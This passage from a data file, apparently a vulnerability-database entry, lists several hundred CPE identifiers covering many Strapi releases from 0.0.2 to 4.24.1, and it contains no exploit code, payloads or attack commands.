:2.3:a:strapi:strapi:3.3.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:0.0.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.2.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha17:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha14.1.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17.3:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.3.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.11.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta6:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.12.7:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.14.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.16:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta13:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.3.7:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha13:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.24.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha19:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.15.5:alpha3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.23.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.4.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.9.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.6.9:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:0.0.7:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta17:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha9.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.3.1:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.21.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha8.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.11.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha26.2:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha6.3:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.17.4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta10:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:rc0:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha26.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha7.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha8:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.24:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.5.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.14.5:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.20.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.10.7:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.22.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta13:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.14.1.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.12.7:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha19:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.5.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.0.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha8.3:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta3:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.12.7.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha11.3:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha18:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.14.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.16.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.6.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta12:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.3.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.15.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.19:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.7.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17.6:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta19.4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta18.6:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.1.6:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.7:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha14.1.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17.5:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.3.6:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.11.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.3.0:beta1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:0.0.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.0.3:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.11:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta18:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.26.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.5.3:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.5.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.10.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.6.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.1.10:-:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.6.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha23:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta7:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.4.0:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:1.0.2:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha10.3:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.9:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.5.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.5.4:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.6.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.20.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha18:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.6:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.2.0:beta3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.8.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta16:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha17:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha7.2:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.1.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.0.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta8:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.2:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.0.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.8:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.0.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.23:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha25.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.13:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:0.0.6:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.0.6:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.3.9:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:0.12.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.16.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.5:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha26.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.9.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.11.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.7.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.6:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta18.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.6:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha10.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.15.5:-:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.5.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha14.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.3.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha6.4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.12.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.3.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha24:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.5.7:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:1.2.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.13.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.2:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha21:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha11.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:-:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta15:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.12.5:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:0.12.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.15.5:alpha1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.8.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.5.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.4.7:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha11.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.2.0:beta2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta20:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.17:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha6.4:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha23.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.4.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.5.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.13.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.20.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.15.5:alpha4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.2.0:-:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.4.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.25:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.4.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.2.0:beta0:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17.4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.0.5:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.20.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.8:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17.7:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha4:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.15.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha13:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.10.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.11.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.16.8:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha9:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta0:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.15:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.15.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.13:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.1.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.5.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.6.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.10:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.12.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha13.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta12:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:1.0.6:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.4.8:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.4.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.0:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.4.6:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.15.5:alpha2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17.7:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.1.8:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:0.0.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.6.2:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha16:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.13.6:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:0.12.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.4.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta19:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.4.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta8:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha10.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.23.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha25.2:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.26.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.1.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.16.7:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha11.2:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha11:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.0.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.4.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.6.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.17.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.10.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.12.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.1.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.3.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.22:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.6.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta19.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.5.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha14:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.11.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.3.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.13.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.11.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17.8:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.16.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.6.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha7.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta18.8:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17.5:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:0.12.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:0.0.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.8:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.9.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.16.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.14.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta19.5:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha7.3:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.14.4.0:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.4.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.2.0:beta1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.17.5:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.21.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.6.7:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.14.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta5:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.5.2:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.4.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.6.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.5.5:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.7.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha14.4.0:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:1.0.0:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:1.6.1:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.20:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha5.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.16.5:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha4.8:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta18.3:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.16.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.9.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.13.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.1.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.6.8:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.9.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.7.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17.6:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha14.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta15:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.12.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.24.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.17:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.2.5:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.5.1:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.3.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha13.0.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.6:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.5.4:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.5.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha13.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.12.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha23.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta14:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha9.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta4:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta6:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta20:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha16:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha6.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha24.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.14.6:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.2.0:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.0.7:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta14:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.12:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:0.12.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.18:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta9:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha14.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha5.5:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.14.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.11.7:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.12.6:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.5.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.3.8:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha26:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha26:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.24.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.6:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.22.0:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha14.4.0:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.2.2:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.23.1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.12.6:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha15:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.4.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta17.2:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.1.12:-:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha6.7:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha25:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:1.0.1:*:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.5:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.17.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha12.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.4.0:-:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:-:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta15:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha24:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:rc1:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.1.7:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta20.2:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.12:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.16.6:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta18:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha13.0.1:*:*:*:node.js:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta.11:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta11:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.0.0:beta3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta19.3:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.16.1:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:4.5.3:*:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:alpha.6.4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0:beta16.4:*:*:*:*:*:*","cpe:2.3:a:strapi:strapi:3.0.0